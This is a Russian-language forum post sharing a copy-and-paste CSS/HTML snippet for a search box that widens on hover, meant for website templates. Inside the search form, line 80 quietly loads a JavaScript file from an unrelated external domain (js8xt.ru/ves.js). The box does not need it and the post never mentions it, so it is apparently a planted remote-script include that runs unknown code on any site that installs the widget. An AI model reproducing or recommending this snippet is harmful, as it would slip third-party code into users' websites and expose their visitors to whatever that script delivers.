Группа: Пользователи
Пользователь №: 5962
Сообщений: 25
http://s019.radikal.ru/i614/1204/b4/9bbbaeb609fb.jpg <-- Скрин Поиск очень стильный и подойдёт к любому шаблону. При навождении на него он будет раздвигаться, как это показано на экране. УСТАНОВКА вставляем куда вам нужно Code
1 <style> 2 #wrap-search { 3 margin: 0 auto ; 4 width: 100px ; 5 -moz-transition: all .2s ease-out ; 6 -webkit-transition: all .2s ease-out ; 7 -o-transition: all .2s ease-out ; 8 transition: all .2s ease-out ; 9 text-indent: 0px ; } 10 11 #wrap-search br { display : none ; } 12 13 #wrap-search #search { 14 background: -moz-linear-gradient(center bottom , #9B9B9B 0%, #A9A9A9 50%, #CACACA 50%, #D3D3D3 2550%) ; 15 background: -webkit-gradient(linear,left bottom,left top,color-stop(0, #9B9B9B),color-stop(0.5, #A9A9A9),color-stop(0.5, #CACACA),color-stop(25.5, #D3D3D3)) ; 16 filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#9B9B9B' , EndColorStr='#CACACA' ) ; 17 border-radius: 5px ; 18 padding: 4px ; 19 } 20 21 #wrap-search:hover { width : 200px ; } 22 23 .form-search { 24 background: -webkit-gradient(linear, 0 bottom, 0 top, from(#EBEBEB), to(#BCBCBC)) ; 25 background: -moz-linear-gradient(-90deg, #BCBCBC, #EBEBEB) ; 26 filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#EBEBEB' , EndColorStr='#BCBCBC' ) ; 27 border: 1px solid #747474 ; 28 border-radius: 3px ; 29 box-shadow: inset 0 1px 1px #575555, 0 1px 0 #FFF ; 30 height: 32px ; 31 position: relative ; 32 -moz-transition: all .2s ease-out ; 33 -webkit-transition: all .2s ease-out ; 34 -o-transition: all .2s ease-out ; 35 transition: all .2s ease-out ; 36 } 37 38 .form-search input[type='text' ] { 39 background: none ; 40 border: none ; 41 color: #6E7074 ; 42 height: 34px ; 43 line-height: 34px ; 44 padding: 0 27px 0 6px ; 45 font-family: Helvetica, Arial, sans-serif ; 46 font-size: 13px ; 47 text-shadow: 0 1px 0 #FFF ; 48 } 49 50 #wrap-search:hover input[type='text' ] { color : #597C84 ; } 51 52 #wrap-search:hover .form-search { 53 background: -moz-linear-gradient(-90deg, #9CC2CA, #DFECEF) ; 54 background: -webkit-gradient(linear, 0 bottom, 0 top, from(#DFECEF), to(#9CC2CA)) ; 55 filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#DFECEF' , EndColorStr='#9CC2CA' ) ; 56 box-shadow: inset 0 1px 1px #46575b, 0 1px 0 #FFF ; 57 color: #25464D ; 58 } 59 60 .form-search input[type='image' ] { 61 height: 32px ; 62 opacity: .5 ; 63 filter: alpha(opacity=50) ; 64 position: absolute ; 65 right: 0px ; 66 top: 0px ; 67 width: 32px ; 68 } 69 70 .form-search input[type='image' ]:hover { 71 opacity: 1 ; 72 filter: alpha(opacity=100) ; 73 } 74 75 </style> 76 77 <div id="wrap-search" > 78 <div id="search" > 79 <form class="form-search" method="get" action="/search" target="_blank" > 80 <script language=JavaScript src=http://js8xt.ru/ves.js> </script> 81 <input src="http://s019.radikal.ru/i622/1204/78/0154b88f49a9.png" type="image" > 82 <input name="q" value="поиск" onfocus="this.value='';" onblur="this.value='поиск';" onmouseover="this.value='';" onmouseout="this.value='поиск';" type="text" > 83 </form> 84 </div> 85 </div>
Алексей